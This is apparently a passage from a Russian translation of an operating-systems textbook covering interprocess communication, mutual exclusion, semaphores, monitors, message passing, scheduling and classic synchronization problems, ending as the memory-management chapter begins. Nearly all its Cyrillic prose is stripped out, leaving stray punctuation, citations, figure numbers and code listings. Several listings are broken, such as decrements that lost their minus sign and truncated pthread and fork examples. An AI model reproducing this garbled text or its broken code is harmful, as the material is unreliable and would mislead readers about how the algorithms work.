.
, (Anderson et al., 1992),
.
(Edler et al.,1988; Scott et al., 1990).
,
, ,
. , -
2.2.
141
,
. ,
,
,
.
. , ,
- , ,
.
.
,
( ) . ,
. ,
,
.
.
:
, (, - ),
,
. ,
,
, UNIX. upcall
( ).
, , , ,
. ,
, (, , ,
), (upcall)
, .
, .
, , . ,
, -,
,
, , .
142
2.
, , , ,
. , .
,
: ,
- .
(upcall) , ,
. , n ,
n + 1, n , n + 1. (upcall)
.
2.2.8.
.
, .
, receive .
, ,
.
,
. (. 2.12)
. 2.12. :
;
2.2.
143
. ,
,
, .
, . . .
.
. , : ?
, ,
( . 2.12 ).
, ,
.
-, . ,
. ,
, ,
.
2.2.9.
. , .
.
, , , . , . ,
, ,
. , (
), .
errno, UNIX.
( ) , ,
errno. . 2.13 1 access,
, . errno. 1,
, errno,
, 1
2. 2
open, , errno, access .
1,
.
. . ,
. -
144
2.
. 2.13.
(. 2.14).
errno
, .
,
( ), ,
.
. 2.14.
,
, .
. ,
.
2.2.
145
,
, .
:
create_global("bufptr");
bufptr
, . , ,
.
,
.
: ,
. :
set global("bufptr", &buf);
,
create_global.
:
bufptr = read_global("bufptr");
, .
, , . , ,
. , ,
, . ,
, ,
,
?
,
malloc UNIX, , .
malloc ,
, , .
, ,
.
. .
,
, , .
. ,
.
.
, . ,
146
2.
alarm,
. ,
. ,
alarm .
, , . ? ?
? , ? ,
, ,
? ,
(, CTRL+C), ?
,
, , . , . ,
- ,
.
, , .
. ,
.
, .
,
- .
, , ,
. ,
. ,
, ,
.
(Hauser et al., 1993), (Marsh et al., 1991) (Rodrigues
et al., 2010).
2.3.
.
,
, .
, . ,
,
(InterProcess Communication (IPC)).
, . : .
2.3.
147
,
, ,
.
: , ,
, , ,
. .
, . , ,
, ( , ,
).
: . , ,
.
2.3.1.
- ,
. (,
) - .
. ,
, .
- ,
.
, ,
.
,
0, 1, 2..., .
, : out, ,
, in,
. ,
. - 0
3 ( ). ,
. . 2.15.
, , . in 7
next_ free_slot ( ).
, , , . in 7.
next_ free_slot.
, 7.
148
2.
. 2.15.
. 7
in 8. -
. ,
. next_ free_slot,
7 7, ,
. next_ free_slot + 1,
8 in. , ,
.
, , . ,
- ,
, , . , ,
.
, , ,
. ,
- .
2.3.2.
?
,
- ,
. ,
, , ,
,
.
, ,
.
2.3.
149
, .
. - - , .
-
, . ,
, . ,
,
.
,
, .
:
1. .
2. .
3. , ,
.
4.
.
. 2.16. ,
T1. , T2, ,
, ,
. ,
. 2.16.
150
2.
T3, A , .
( T4) ,
, .
2.3.3.
, ,
,
.
.
.
-
,
. ,
,
.
- ,
. , , ?
. , ( , , ),
,
.
.
, . ,
, .
: ,
.
.
,
, 8-, 16- 32- .
( )
, . , .
2.3.
151
,
() , .
,
. 0, 1
. 1, ,
. , , , -
.
, ,
. , , .
, , .
, ,
.
, , , ,
, .
, , .
. 2.17.
, , ,
C. ,
C ( C++) Java, Pyton Haskell. ,
, . Java, , ,
. C ,
. C, C++, Java
(Precheld, 2000).
. 2.17. : 0;
1. , ,
while
152
2.
turn, . 2.17,
,
. 0 turn, ,
, . 1 , , - ,
, turn 1. ,
- , .
, ,
. ,
, . ,
, -.
0 , turn 1, 1 . ,
1 ,
, turn
0. 0 ,
turn 1. turn 1
.
0
. , , turn 1 1
. 0 while ,
1 turn 0. ,
,
.
: 0
, .
.
, 0 , 1 - .
, , ,
, . .
,
,
.
, (T. Dekker) ,
, . (Dijkstra, 1965).
1981
, . 2.2. ,
ANSI C, ,
2.3.
153
-.
, .
2.2. ,
#define FALSE
0
#define TRUE
1
#define N
2
/* */
int turn;
/* ? */
int interested[N];
/* 0 (FALSE) */
void enter_region(int process); /* process 0 1 */
{
int other;
/* */
other = 1 process;
/* */
interested[process] = TRUE; /* */
turn = process;
/* */
while (turn == process && interested[other] == TRUE)/*
*/;
}
void leave_region(int process)
/* , */
{
interested[process] = FALSE; /* */ }
(
) enter_region,
, 0 1.
, , .
,
, , leave_region.
. . 0 enter_region.
, turn
0. 1
, enter_region . , 1 enter_region, , interested[0]
FALSE, , 0
leave_region, .
,
enter_region.
turn. ,
. , 1 turn
1. while, 0
. 1
, 0
.
TSL
, . , ,
154
2.
TSL RX,LOCK
2.3.
155
leave_region. - , . , ,
.
2.3.
TSL
enter region:
TSL REGISTER,LOCK
CMP REGISTER,#0
JNE enter_region
RET
leave region:
MOVE LOCK,#0
RET
|
|
|
|
|
|
lock 1
lock ?
, ,
;
| lock
|
TSL XCHG,
, .
, , 2.4, ,
TSL. XCHG
Intel x86.
2.4.
XCHG
Enter_region:
MOVE REGISTER,#1
XCHG REGISTER,LOCK
CMP REGISTER,#0
JNE enter_region
RET
leave region:
MOVE LOCK,#0
RET
|
|
|
|
|
|
|
1
lock
lock ?
, ,
;
| lock
|
2.3.4.
, , TSL XCHG, ,
. :
, , .
, , .
,
. : H L .
, H
. , L
156
2.
, H ( ,
-). H , , H, L , L
, H .
.
, , ,
.
sleep wakeup. sleep
, ,
. wakeup
. sleep wakeup ,
sleep wakeup.
( ).
. , ,
, , , . (
m n , ,
.)
,
.
, . , , ,
, -
.
,
,
.
count. ,
, N, ,
count N. , , ,
count.
: ,
count . , ,
, .
, ,
, .
2.5.
sleep wakeup C, . C,
, -, ,
.
2.3.
157
2.5.
#define N 100
int count = 0;
/* */
/* */
void producer(void)
{
int item;
while (TRUE) {
item = produce_item( );
if (count == N) sleep( );
insert_item(item);
count = count + 1;
if (count == 1) wakeup(consumer);
}
}
/*
/*
/*
/*
/*
/*
*/
*/
, */
*/
*/
? */
void consumer(void)
{
int item;
while (TRUE) {
/* */
if (count == 0) sleep();
/* , */
item = remove_item( );
/* */
/* */
count = count 1;
if (count == N 1) wakeup(producer);
/* ? */
consume_item(item);
/* */
}
}
insert_item remove_item .
. count. .
, count, ,
0.
. , count
, 1. ,
,
, wakeup, .
, , .
,
, , 0, .
. .
wakeup ,
. -
158
2.
, .
. , , , wakeup. ,
,
, .
, .
.
, , ,
.
, , 8 32 , ,
, .
2.3.5.
1965 , , .
(semaphore).
0,
, - ,
.
,
down up ( sleep wakeup ). down , 0. ,
1 ( ) .
0, ,
down. , , , , . ,
, .
. , - ,
, .
up , , 1. ,
down, ( ,
) down. , up ,
, , 1. 1
.
up, wakeup .
, down up
P V .
2.3.
159
, -, , ,
Proberen () Verhogen ( ),
down up. Algol 68.
-
2.6 , . , ,
.
up down ,
, .
, .
,
lock, ,
,
TSL XCHG.
, TSL XCHG
. , .
: full , empty
,
mutex, . full 0, empty
, mutex 1. ,
1 , . ,
down
up .
,
, , . 2.2. , ,
, -.
- down ,
.
up ,
. 5 . 2.2 up
, 6 , . ,
160
2.
,
. , .
, 2.6,
. ,
. mutex .
,
. .
.
2.6. ,
#define N 100
typedef int semaphore;
semaphore mutex = 1;
semaphore empty = N;
semaphore full = 0;
void producer(void)
{
int item;
while (TRUE) {
item = produce_item( );
down(&empty);
down(&mutex);
insert_item(item);
up(&mutex);
up(&full);
}
/* */
/*
*/
/* */
/* */
/* */
/* TRUE , 1 */
/* -
*/
/* */
/* */
/* */
/* */
/* */
}
void consumer(void)
{
int item;
while (TRUE) {
down(&full);
down(&mutex);
item = remove_item( );
up(&mutex);
up(&empty);
consume_item(item);
}
/*
/*
/*
/*
/*
/*
/*
*/
*/
*/
*/
*/
*/
*/
. full empty
. ,
, ,
2.3.
161
. ,
.
2.3.6.
, .
.
, .
, : . ,
,
, ,
. .
( ) ,
mutex_lock.
( ),
.
, ,
, , ,
mutex_unlock. ,
, .
TSL XCHG.
2.7 mutex_lock mutex_unlock,
, .
, XCHG, , .
2.7. mutex_lock mutex_unlock
mutex_lock:
TSL REGISTER,MUTEX
CMP REGISTER,#0
JZE ok
CALL thread_yield
ok:
mutex_unlock:
MOVE MUTEX,#0
RET
|
|
|
|
|
|
|
|
|
|
|
|
1
?
, ,
,
;
;
| 0
|
162
2.
2.3.
163
. ,
, .
, ,
. , ,
,
,
. ,
, ,
, , ,
.
. -
, , . ,
. , :
, , .
, .
,
, , fast user space mutex,
. Linux,
( ),
.
, . :
. , . ,
. ,
( ) , .
. ,
, 32-
, .
, 1, , . ,
( Linux
, C, ). , ,
. ,
.
, .
,
164
2.
. , , .
, , , ,
, , ,
. , ,
. ,
.
Pthreads
Pthreads ,
. , .
.
, , . ,
, . ,
, .
,
. . .
, , . 2.6. ,
. , ,
, , pthread_mutex_init pthread_mutex_destroy.
pthread_mutex_lock, , .
,
, . pthread_mutex_trylock.
, . , pthread_mutex_
unlock , , .
, .
2.6. Pthreads,
pthread_mutex_init
pthread_mutex_destroy
pthread_mutex_lock
pthread_mutex_trylock
pthread_mutex_unlock
Pthreads .
2.3.
165
. .
.
, .
-: - , - .
,
, . , ,
, ,
.
.
, , . 2.7.
, , . ,
( ) .
pthread_cond_wait pthread_cond_signal.
, (
). ,
.
, , - - .
. .
pthread_cond_broadcast ,
.
2.7. Pthreads,
pthread_cond_init
pthread_cond_destroy
pthread_cond_wait
pthread_cond_signal
pthread_cond_broadcast
. ,
, , .
, . pthread_cond_wait
.
.
166
2.
, ( ) . ,
, . ,
.
2.8
-, . ,
, , .
, , , .
. , ,
, ,
UNIX .
2.8.
#include <stdio.h>
#include <pthread.h>
#define MAX 1000000000
pthread_mutex_t the_mutex;
pthread_cond_t condc, condp;
int buffer = 0;
/* */
/* */
/* ,
*/
/* */
/*
*/
while (buffer != 0) pthread_cond_wait(&condp, &the_mutex);
buffer = i;
/* */
pthread_cond_signal(&condc);
/* */
pthread_mutex_unlock(&the mutex); /* */
}
pthread exit(0);
}
void *consumer(void *ptr)
{
int i;
for (i = 1; i <= MAX; i++) {
pthread_mutex_lock(&the_mutex);
/* */
/*
*/
while (buffer ==0 ) pthread_cond_wait(&condc, &the_mutex);
buffer = 0;
/* */
pthread_cond_signal(&condp);
/* */
pthread_mutex_unlock(&the_mutex); /* */
}
pthread exit(0);
}
int main(int argc, char **argv)
{
2.3.
167
2.3.7.
, , . down
, 2.6. ,
down ,
mutex empty, .
, ,
mutex 0. ,
down mutex,
0, . , - . ,
6.
, , .
. ,
, ,
.
, (Brinch Hansen)
1973 (Hoare) 1974 , . , ,
.
,
. ,
, , .
2.9 , Pidgin Pascal.
C , , C
.
2.9.
monitor example
integer i;
condition c;
168
2.
procedure producer();
.
.
.
end;
procedure consumer();
.
.
.
end;
end monitor;
,
:
. ,
, .
.
- ,
, .
, .
,
.
, ,
, - ,
. , , ,
. ,
.
,
, . ,
, .
-
, , , ?
, wait signal.
(, ,
), wait - , , full. .
, . ,
Pthreads.
, ,
, signal , .
, ,
signal.
2.3.
169
. ,
,
signal. , signal .
, . signal
,
, ,
.
, , ,
. ,
, .
.
, . , , ,
. , wait
signal. . , , ,
. ,
signal, , , .
-
Pidgin Pascal 2.10.
Pidgin Pascal
.
2.10. -
.
. N
monitor ProducerConsumer
condition full, empty;
integer count;
procedure insert(item: integer);
begin
if count = N then wait(full);
insert item(item);
count := count + 1;
if count =1 then signal(empty)
end;
function remove : integer;
begin
if count =0 then wait(empty);
remove = remove item;
count := count 1;
if count = N 1 then signal(full)
end;
count := 0;
end monitor;
170
2.
procedure producer;
begin
while true do
begin
item = produce item;
ProducerConsumer.insert(item)
End
end;
procedure consumer;
begin
while true do
begin
item = ProducerConsumer.remove;
consume item(item)
end
end;
2.3.
171
.
,
.
our_monitor, , .
insert, ,
remove,
.
count , .
0 N 1 . lo
, . hi
, . lo = hi, , 0, N .
count .
Java : Java .
, wait notify, sleep
wakeup, ,
. wait
, , , .
Java , .
, go_to_sleep
.
( ) . .
Pidgin Pascal, C,
. ,
. -
. C, Pascal ,
- . , ,
, ?
, :
, up down. , .
, , ,
, ,
C ++ ( ,
). ,
.
, , , , .
TSL XCHG, . ,
,
172
2.
, . , , , .
. - .
2.3.8.
.
, send receive, ,
, , .
, :
send(destination, &message);
receive(source, &message);
, ( ,
). ,
. .
,
, , .
, .
, ,
,
.
, .
2.11. - Java
public class ProducerConsumer {
static final int N = 100;
static producer p = new producer( );
// ,
//
//
static consumer c = new consumer( );
//
//
static our monitor mon = new our monitor( );
//
//
public static void main(String args[ ]) {
p.start( );
//
c.start( );
//
}
static class producer extends Thread {
public void run( ) {
// run
int item;
2.3.
173
while (true) {
//
item = produce item( );
mon.insert(item);
}
}
private int produce_item( ) { ... }
//
}
static class consumer extends Thread {
public void run( ) {
// run
int item;
while (true) {
//
item = mon.remove( );
consume_item(item);
}
}
private void consume_item(int item) { ... }
//
}
static class our_monitor {
//
private int buffer[ ] = new int[N];
private int count = 0, lo = 0, hi = 0;
//
public synchronized void insert(int val) {
if (count == N) go_to_sleep( );
// ,
buffer [hi] = val;
//
hi = (hi + 1) %N;
//
count = count + 1;
//
if (count == 1) notify( );
// ,
//
}
public synchronized int remove( ) {
int val;
if (count == 0) go_to_sleep( ); // ,
val = buffer [lo];
//
lo = (lo + 1) %N;
// from
count = count 1;
//
buffer
if (count == N 1) notify( ); // ,
//
return val;
}
private void go_to_sleep() { try{wait();} catch(InterruptedException exc) {};}
}
}
, , , , , . , . ,
.
.
, ,
, , , .
.
174
2.
,
, send
receive. :
?
,
, .
.
, .
.
-
,
-.
2.12. , ,
.
N , N ,
. , N
. , .
,
, .
2.12. -
N
#define N 100
/* */
void producer(void)
{
int item;
message m;
/* */
while (TRUE) {
item = produce_item( );
/*
*/
receive(consumer, &m);
build_message(&m, item);
send(consumer, &m);
/* */
/* */
/* */
}
}
void consumer(void)
{
int item, i;
message m;
for (i = 0; i < N; i++) send(producer, &m); /* N
*/
while (TRUE) {
2.3.
receive(producer, &m);
item = extract_item(&m);
send(producer, &m);
consume_item(item);
/*
/*
/*
/*
175
*/
*/
*/
*/
}
}
, , ; , . ,
: , ,
, .
.
. . , .
, .
send
receive , .
, ,
,
.
- , , , N . , ,
.
: , , .
. , send receive,
- receive, . receive,
send.
. , ,
,
.
. MPI (Message-Passing Interface).
. Gropp et
al., 1994; Snir et al., 1996.
2.3.9.
, -, . ,
176
2.
,
.
, . , ,
. .
. 2.18.
. 2.18, , . ,
. , . barrier, . .
,
barrier. . 2.18, . , . 2.18, ,
, C, , .
. 2.18. : ; ,
, ; ,
, ,
. ,
.
. , .
, , , , ,
T.
, ,
. ,
.
, (,
)
(, ).
,
2.3.
177
.
n + 1, n,
. barrier ,
. , ( )
.
2.3.10. :
. ,
. , , , . , ,
. A ,
, . , , , .
, , , . , ,
, .
, . 2.19.
. X.
, : X, .
X A.
.
B D. A
C. , A, C
B D. , .
, B D, ,
, . ,
. B D , RCU (Read Copy Update, ) .
. B D,
. ? ? ? ,
. RCU ,
. . ,
,
(read-side critical section), , .
.
(grace period) , ,
178
2.
:
A
(a)
() X
E X.
,
A E,
() X
X A. ,
E,
,
, A,
:
A
X
() B A.
, B
.
B
,
,
A,
()
,
B C.
() B D
. 2.19. RCU: ,
.
,
.
, ,
.
2.4.
, ,
. ,
.
, ,
. ,
, , , ,
. .
2.4.
179
, , , .
, ,
, (
). ,
, .
. 8.
2.4.1.
,
, , : .
, ,
.
, ,
:
, . ( ,
, ,
.)
,
.
.
.
-, .
, , ,
. ,
, , ,
.
-, ,
.
( ), ,
.
, , .
, ,
, , ,
, .
. , , : ,
107 892 ( NTSC) 90 000 ( PAL)
180
2.
,
.
, . ,
. ,
, ,
, ,
,
. , (
), . . ,
,
.
,
.
, ,
.
(, ). .
.
, .
, (
).
, : .
. 2.19 , ( ) -.
,
. ,
,
. . ,
- . , , ,
, -, .
- ,
, , .
. 2.19 , , ,
. 2.19, , ,
, , . 2.19, , -. ,
2.4.
181
. 2.20.
-: ,
; , -
, ,
-. ,
, ,
, -, , -,
, , -. ,
,
-. , -,
, -, ,
-.
, .
, ,
-.
. ,
-, , ,
.
,
-, ,
. . 2.4 , , -,
.
?
. , , .
-, ,
182
2.
, . , ,
, ,
.
-, , .
( ),
- .
,
.
-, -,
- ,
- . .
, A ,
,
,
. , , .
-,
-. -,
, - ,
-, . , : ,
, , , .
50
60 - ,
k- .
.
, , ( -, ),
, .
,
. .
, -
.
.
,
( ).
,
,
. ,
.
2.4.
183
,
. ,
( ) .
,
. :
;
;
.
,
.
.
, .
, ,
.
, , ,
, .
, ,
. . , , ,
() .
.
, , , , ,
,
, .
, . ,
, , .
, ,
.
(, ), ,
. ,
:
:
;
184
2.
;
.
:
;
;
.
:
;
.
:
;
.
.
.
, ,
. ,
-. , ,
.
.
, , , ,
, , .
.
- ,
, - . ,
,
. ,
, ,
-, ,
, , ,
, ,
-. , , , , . ,
,
-, ,
. .
2.4.
185
,
, : ,
. , . 50 , 40 .
. , .
: , .
, , . , , ,
,
( ), .
,
.
, .
, ()
( ).
, .
, 100 %,
.
.
, . ,
(, ),
.
.
,
. ( ) . ,
, ,
, , , ,
. , 500 , 60 ,
, , , ,
5 , , .
,
, .
186
2.
30 , , 60
. ,
, .
( ) ,
, .
, , .
, . , ,
,
.
( ) .
, ,
.
, ,
. ,
, .
, .
.
, , , - .
2.4.2.
. ,
, , . ,
, . .
,
, .
. , ,
. ,
. .
.
, .
, , , ,
.
2.4.
187
.
, .
.
.
.
?
, . , ,
, 1 , ,
-, ,
1000 , . ,
, 1 , . -
. , ,
, 1 ,
, -.
, -,
, 1000 . , ,
, 10 , ,
-, 10 1000 ,
, .
,
, . , ,
1000 , .
,
. , . 2.21.
: A, B, C D 8, 4, 4 4 .
, A 8 ,
B 12 , C 16 D 20 14 .
. 2.21. , :
; ,
188
2.
, (. 2.21, ). 4, 8, 12
20 11 . ,
, .
, a, b, c d .
a, a + b . .
(4a + 3b + 2c + d)/4. , a
,
. b, c d ,
.
.
, ,
, , .
A E
2, 4, 1, 1 1 . 0, 0, 3, 3
3. A B,
. ,
, : A, B, C, D, E , 4,6. ,
: B, C, D, E, A ,
4,4.
. . ,
, .
.
, , .
.
2.4.3.
,
. ,
.
, ,
.
, ,
. -
2.4.
189
,
. ,
, .
.
. 2.22, , , . , ,
. 2.22, , .
. 2.22. : ,
; , B
, - , .
,
, . . ,
, , ,
1 , ,
. . , 4 .
4
( ) 1 . ,
20 % , ,
, .
,
, , 100 . 1 %
. , ,
50 , .
50 . ,
, , 100 , . . , ,
5 , . .
, , ,
. , .
, , ,
.
190
2.
,
. ,
, .
, ,
.
2050 .
. , , . ,
,
, , , .
.
:
, .
,
. , , , ,
, .
,
( ).
, , .
: . ,
, .
. , , ,
, 100, ,
, , 90, 80, 70, 60 .
100 ,
75, 50. UNIX nice, , ,
.
. ,
-
2.4.
191
-.
, ,
- , , . ,
-, ,
, . ,
-, 1/f,
f , . ,
1 50 , 50, , 25 , , 2, , ,
, 1.
,
. . 2.23
.
: 4,
, .
4 ,
3. , 4 3,
2 . . -
,
.
. 2.23.
CTSS (Compatible
Time Sharing System ),
, IBM 7094
(Corbato et al., 1962). CTSS , 7094
. . CTSS ,
192
2.
, ,
,
( ).
, .
. , , 1
, 2 ,
4 . .
, .
, 100 . 1 ,
.
2 . 4,
8, 16, 32 64 , 64
37. 100 , , 7 (
). ,
,
.
, ,
, ,
: ( Enter), , , , , .
, ,
, , ,
, .
. . : ,
, ,
.
,
.
. ,
, , ,
. .
, ,
. ,
.
. , T0. , T1.
2.4.
193
, , aT0 + (1 a)T1.
a, ,
. a = 1/2
:
T0;
T0/2 + T1/2;
T0 1/8.
. ,
- . a = 1/2. ,
, 2 (
).
,
. , ,
: n ,
1/n . , n ,
1/n .
.
, ,
. , ,
, n.
, ,
. 0,5 , ,
, 2,0 , ,
, . ,
, ,
.
.
,
. , ,
.
(Waldspurger and Weihl, 1994).
, . , ,
194
2.
, . 50 ,
20 .
, : ,
. ,
, . 100
, 20 %- . 20 %
. ,
, 40,
: , f , f
.
. ,
, ,
. , .
. ,
, , ,
. , , .
.
,
.
, , . ,
10, 20 25 . 10, 20 25 ,
, 10 : 20 : 25.
,
, . , 1
9 , 2 1 ,
1 90 % ,
2 10 %.
, , .
, . ,
50 % , ,
.
,
50 % . , A, B,
C D, E. -
2.4.
195
, ,
, :
AEBECEDEAEBECEDE...
, ,
:
ABECDEABECDE
, ,
.
2.4.4.
,
. ,
, ,
. , -
.
, .
, ,
.
, , , .
( ), , ( ),
,
. , . , ,
.
, .
, ,
( ) ( ). ,
. , , .
, m , i
Pi Ci ,
,
196
2.
, , .
, . , , , , , ,
.
100, 200 500 .
, , 50, 30 100
, , 0,5 + 0,15 + 0,2 < 1.
1 ,
,
150 . ,
, .
.
, ,
.
, .
. 7,
.
2.4.5.
,
.
, ,
, . , .
( , . .). ,
,
( ), .
,
, .
.
(Levin et al., 1975). -
,
.
. , , ,
( ) . , .
2.4.
197
, ,
. .
2.4.6.
,
: . ,
, .
.
, , , , A, A .
A , , , A1. -
, . ,
, .
A - , A1 .
A , . .
, , ,
A.
, A
,
5 50 . ,
,
. , B,
: A1, A2, A3, A1, A2, A3, A1, A2, A3,
A1. . 2.24, .
. 2.24. :
50 , 5
;
198
2.
, ,
. .
, .
, .
, .
. , ,
. , . 50 , ,
5 , 30
: A1, B1, A2, B2, A3, B3,
. . 2.24, .
. , , ,
,
, .
, -, , . ,
A B ,
A (-
), .
, , , ,
, .
, , , , . , , -, . 2.6. ,
,
. ?
, , , ,
.
,
-. ,
, (
). ,
, , .
2.5.
,
2.5.
199
.
.
2.5.1.
1965 , , .
, ,
. . ,
. ,
. .
. 2.25.
. 2.25.
.
( ,
.) ,
.
, ,
. :
, ? (
, .
, , , ?)
2.13 . take_fork
, , . , .
200
2.
, .
, .
2.13.
#define N 5
/* */
void philosopher(int i)
{
while (TRUE) {
think( );
take_fork(i);
take_fork((i+1)
/* i: ( 0 4) */
eat();
put_fork(i);
put_fork((i+1)
% N);
% N);
/*
/*
/*
/*
/*
/*
/*
*/
*/
; */
% - */
*/
*/
*/
}
}
,
. ,
, - , .
, . ,
, ,
, . ,
, ,
, . (
, .)
,
, ,
, .
, . ,
Ethernet ,
, .
. ,
.
.
, 2.13, ,
. , think, . ,
mutex down.
,
mutex up. .
:
. .
2.5.
201
, 2.14, . state, , : ,
( ). , .
i LEFT RIGHT. ,
i 2, LEFT 1, RIGHT 3.
2.14.
#define N
#define LEFT
#define RIGHT
#define
#define
#define
typedef
5
(i+N1) %N
(i+1) %N
THINKING
0
HUNGRY
1
EATING
2
int semaphore;
int state[N];
semaphore mutex = 1;
semaphore s[N];
void philosopher(int i)
{
while (TRUE) {
think();
take_forks(i);
eat();
put_forks(i);
}
}
void take_forks(int i)
{
down(&mutex);
state[i] = HUNGRY;
test(i);
up(&mutex);
down(&s[i]);
/* */
/* i- */
/* i-
*/
/* */
/* */
/* */
/*
*/
/*
*/
/*
*/
/*
*/
/* i ( 0 N1) */
/*
/*
/*
/*
/*
*/
*/
*/
*/
*/
/* i ( 0 N1) */
/* */
/*
*/
/* */
/* */
/* ,
*/
}
void put_forks(i)
{
down(&mutex);
state[i] = THINKING;
test(LEFT);
test(RIGHT);
/* i ( 0 N1) */
/* */
/* */
/*
*/
/*
202
2.
up(&mutex);
*/
/* */
}
void test(i)
/* i ( 0 N1) */
{
if (state[i] == HUNGRY && state[LEFT] != EATING && state[RIGHT] != EATING) {
state[i] = EATING;
up(&s[i]);
}
}
, , , .
,
philosopher, : take_forks, put_ forks test
, .
2.5.2.
, ,
-. (Courtois et al., 1971). . ,
, , , .
,
, ( ),
. , ?
2.15.
db down.
rc. ,
,
up, , , .
. , -
.
, .
.
, . ,
,
. . ,
. , ,
.
, . , , 2 5 ,
.
2.6. ,
203
, : ,
, .
,
, ,
.
. (Courtois
et al., 1971) , .
.
2.15.
typedef int semaphore;
semaphore mutex = 1;
semaphore db = 1;
int rc = 0;
/*
/*
/*
/*
*/
'rc' */
*/
*/
void reader(void)
{
while (TRUE) {
down(&mutex);
rc = rc + 1;
if (rc == 1) down(&db);
up(&mutex);
/*
/*
/*
/*
/*
*/
rc */
*/
... */
rc */
*/
rc */
*/
... */
rc
read_data_base( );
down(&mutex);
rc = rc 1;
if (rc == 0) up(&db);
up(&mutex);
/*
/*
/*
/*
/*
use_data_read();
/* */
*/
}
}
void writer(void)
{
while (TRUE) {
think_up_data( );
down(&db);
write_data_base( );
up(&db);
}
}
/*
/*
/*
/*
/*
*/
*/
*/
*/
*/
2.6. ,
1 , .
, . ,
204
2.
. ,
.
. , , ,
, , . .
-,
. ,
.
,
.
, , (Tam et al., 2007) ,
Linux
(Boyd-Wickizer, 2010).
(Viennot et al., 2013).
,
.
.
, ( ).
(Giffin et al., 2012).
( , ) , .
(Yuan and Nahrstedt, 2006), (Bulpin
and Pratt, 2005) (Koufaty, 2010).
,
(Gordon et al., 2012).
,
- ,
,
. , ,
, .
1, , , , .
1
, ,
- - ,
-
. . .
205
2.7.
, , . .
.
. ,
, , ,
.
.
, , , .
, , , .
,
,
.
.
,
, .
.
. ,
,
.
, .
, , , .
,
.
1. . 2.2 .
, .
. ,
?
2. , ,
. ?
.
3. . ?
206
2.
4.
, , , ,
. ?
5. ,
.
-. ?
6. 4 , 512 . , ( )
, 256 . -,
99 %?
7.
, . , ,
10 , . , ? ,
? ,
- 50 % .
8. 6 (
). ,
40 % -.
?
9. , 2 .
,
; , . , ,
.
10. , . 2.8,
, . ?
?
11. . ,
.
,
. -
?
12. . 2.6 -. read,
-
? ?
13. -, , , .
- ,
? .
207
14. . 2.4 ,
, . ? , ,
.
15. ,
thread_yield?
.
16. ? ,
, , ?
17.
. ,
, 15 .
,
, 75 , .
, ?
?
18. ? ?
19. 2.1 , ,
. :
1, 1 1, 2,
2 2 . .? ,
? , ?
20. ,
create_global
, .
?
21. ,
, 1
. ,
, - . ?
?
22. , ,
select, , , ,
, .
? .
23. , turn
(. . 2.17), ,
, ,
?
208
2.
24. 2.2 ,
, ?
?
25. , , , ?
?
26. ,
H, , L,
, H. ,
? .
27. , , : ?
, .
.
28.
, . . , ,
?
29.
,
( ). ,
. ,
2.6, ?
30. ,
, P0 P1. , turn 0. P0 :
/* */
while (turn != 0) { } /* Do nothing and wait. */
Critical Section /* . . . */
turn = 0;
/* */
31. P1 0 1.
,
.
32. , , ?
33. , , .
34. , ? ?
35. , , , ,
? -
209
, . ,
.
.
36.
wait signal.
waituntil,
. , ,
:
waituntil x < 0 or y + z < n
signal . , ,
, , . ?
: .
37.
:
, ;
, ;
, ;
, .
. ?
UNIX.
38. , , .
.
. ,
, .
?
39. CDC 6600 10 - , ,
.
, 1 1, 2 2
. . ,
.
T , ,
n ?
40. C:
void main(
fork(
fork(
exit(
}
) {
);
);
);
210
2.
41. , . ,
? ,
?
42. ,
: , , ,
-?
?
43. ,
.
44. , , ,
,
-, T. S,
.
Q,
:
) Q = ;
) Q > T;
) S < Q < T;
) Q = S;
) Q 0.
45. .
9, 6, 3, 5 x.
, ? (
x.)
46. , A E,
. 10, 6, 2, 4 8
. ( ) , 3, 5, 2, 1 4
, 5 .
,
:
) ;
) ;
) ( 10, 6, 2, 4, 8);
) .
, . ,
,
. .
47. , CTSS, 30
. ,
( , )?
211
48.
, 5 ,
, , 1 , , 33 , ,
, 11 .
?
49. ,
?
50.
a = 1/2.
40, 20, 40 15 .
?
51.
, 50, 100, 200 250 . , 35, 20, 10 x
. x,
.
52. :
, , , , , ,
, , .
, ?
53.
, 6 1 ,
25 , 20
. ?
54. ,
, .
.
55. (. 2.14)
take_forks state HUNGRY?
56. put_forks 2.14. ,
state[i] THINKING test,
. ?
57. , .
,
( ) - .
, , , ,
.
58. , , , , .
212
2.
,
. ?
? , .
: ln file file.
lock.
59. , , .
.
.
60. ,
.
61. ,
, , ,
,
. , , ,
, , .
:
) ;
) ;
) .
: , , woman_wants_to_enter; ,
, man_wants_to_enter; , , woman_leaves; , , man_leaves.
.
62. , . 2.17,
.
63. , .
.
.
sleep wakeup. , . , ,
- .
, -
.
64. .
,
. , . ,
213
, .
? , ,
. ,
, ,
.
65.
, . N
, , , N
( 6 28). N.
true, , false,
. N P
. 1 N ,
.
, N. , , N.
, . .
, ,
, .
: , ,
1 N.
66. . N .
, .
, .
3.
, .
IBM 7094, 1960-
, ,
. :
, ,
. , .
,
. ,
? ,
. , .
? ,
, -,
, , , , , ,
DVD - USB. ,
,
.
, ( ),
, , . , ,
, , ,
.
,
.
- ,
. , ,
, , .
,
.
3.1.
215
3.1.
- . ( 1960 ), -
( 1970 ) ( 1980 )
. .
MOV REGISTER1,1000
1000
REGISTER1. , , ,
, 0
, , -
( 8).
. , ,
2000, ,
. ,
.
, , .
. 3.1. (. 3.1, )
, (), , -,
RAM (Random Access Memory).
(), , , ROM (ReadOnly Memory), (. 3.1, ).
, , ,
(. 3.1, ).
-, .
. (, ,
MS-DOS), , ,
- BIOS (Basic Input Output System).
, . 3.1, , ,
, , ,
.
- ,
, .
, ,
. , ,
,
. , , , .
.
,
216
3.
. 3.1.
( ).
, , . , ,
. ,
.
,
. ,
. ( )
.
. IBM 360 :
2 , 4-
,
. 1 512
4- , 256 . (Program Status Word (PSW)) 4-
. IBM 360
, PSW.
,
.
, . 3.2.
, 16 . . 3.2, . , ,
, .
24, MOV. 28, CMP. ,
, .
, 0,
, . 3.2, . ,
.
3.1.
217
. 3.2. : 16 ;
16 ; ,
.
, .
. JMP 24 ,
, .
.
, ,
, 16 384.
JMP 28, ADD ,
CMP. ,
.
, , .
, .
, . IBM 360, ,
,
, .
: 16 384,
16 384 (, JMP 28 JMP 16412 . .).
,
. ,
, , -
218
3.
, . 28 . 3.2,
,
MOV REGISTER1,28
28 REGISTER1, .
- , , , .
, 1,
. , ,
, , , ,
-.
, ( ),
. ,
, - .
(, ), . ,
, ,
- . , ,
e-cos.
3.2. :
. -,
,
, (
IBM 360). (). -, (,
) .
(
, , -),
, .
,
- .
3.2.1.
, , .
3.2. :
219
IBM 360: , .
,
, .
:
. ,
, .
,
. ,
,
